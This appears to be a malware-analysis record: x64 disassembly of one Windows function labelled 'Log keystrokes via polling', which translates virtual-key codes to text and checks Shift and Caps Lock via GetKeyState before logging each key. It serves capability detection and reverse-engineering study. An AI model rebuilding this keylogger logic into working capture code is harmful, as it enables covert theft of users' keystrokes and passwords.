Function at 0x140001200
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor eax, eax
movzx ebx, cx
mov qword [rbp - 0x2f], rax
lea rsi, [0x140000000]
mov qword [rbp - 0x27], rax
mov edi, ebx
mov qword [rbp - 0x1f], rax
mov dword [rbp - 0x17], eax
mov byte [rbp - 0x13], al
lea eax, [rbx - 8]
mov byte [rbp - 0x30], 0
cmp eax, 0x54
ja case.0x140001269.24
cdqe
movzx eax, byte [rsi + rax + 0x14e0]
mov ecx, dword [rsi + rax*4 + 0x149c]
add rcx, rsi
jmp rcx
lea r8, str._Space_
jmp 0x1400012fc
lea r8, str._Back_
jmp 0x1400012fc
lea r8, str._Tab_
jmp 0x1400012fc
lea r8, str._Enter__n
jmp 0x1400012fc
lea r8, str._Esc_
jmp 0x1400012fc
lea r8, str._Left_
jmp 0x1400012fc
lea r8, str._Right_
jmp 0x1400012fc
lea r8, str._Up_
jmp 0x1400012fc
lea r8, str._Down_
jmp 0x1400012fc
lea r8, str._Home_
jmp 0x1400012fc
lea r8, str._End_
jmp 0x1400012fc
lea r8, str._Ins_
jmp 0x1400012fc
lea r8, str._Del_
jmp 0x1400012fc
lea r8, str._Win_
jmp 0x1400012fc
lea r8, str._Ctrl_
jmp 0x1400012fc
lea r8, str._Alt_
mov edx, 0x1e
lea rcx, [rbp - 0x30]
call fcn.1400048e8
movzx eax, byte [rbp - 0x30]
cmp al, byte [0x140018d08]
jne 0x140001460
lea eax, [rbx - 0x70]
mov byte [rbp - 0x30], bl
cmp ax, 0x17
ja 0x14000133f
lea r8d, [rdi - 0x6f]
lea rdx, str._F_d_
lea rcx, [rbp - 0x30]
call fcn.140001b90
jmp 0x140001460
lea eax, [rbx - 0x30]
cmp ax, 9
ja 0x140001372
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14000145d
lea eax, [rdi - 0x30]
movsxd rcx, eax
movzx eax, byte [rcx + rsi + 0x18ed0]
mov byte [rbp - 0x30], al
jmp 0x140001460
mov ecx, 0xba
movzx eax, bx
sub ax, cx
cmp ax, 6
ja 0x1400013c0
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
lea eax, [rdi - 0xba]
movsxd rcx, eax
lea rax, [rcx + rcx*2]
jns 0x1400013b0
movzx eax, byte [rax + rsi + 0x18eb1]
mov byte [rbp - 0x30], al
jmp 0x140001460
movzx eax, byte [rax + rsi + 0x18eb0]
mov byte [rbp - 0x30], al
jmp 0x140001460
mov ecx, 0xdb
movzx eax, bx
sub ax, cx
cmp ax, 4
ja 0x140001408
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
lea eax, [rdi - 0xdb]
movsxd rcx, eax
lea rax, [rcx + rcx*2]
jns 0x1400013fb
movzx eax, byte [rax + rsi + 0x18e91]
mov byte [rbp - 0x30], al
jmp 0x140001460
movzx eax, byte [rax + rsi + 0x18e90]
mov byte [rbp - 0x30], al
jmp 0x140001460
lea eax, [rbx - 0x60]
cmp ax, 0xf
ja 0x140001424
lea eax, [rdi - 0x60]
movsxd rcx, eax
movzx eax, byte [rcx + rsi + 0x18e60]
mov byte [rbp - 0x30], al
jmp 0x140001460
lea eax, [rbx - 0x41]
cmp ax, 0x19
ja 0x140001479
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x10
test ax, ax
je 0x14000144f
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x14000145d
jmp 0x14000145a
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140001460
add bl, 0x20
mov byte [rbp - 0x30], bl
lea r8, [rbp - 0x30]
xor ecx, ecx
lea rdx, [0x140018da0]
call fcn.140001010
mov byte [0x14001ca78], 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret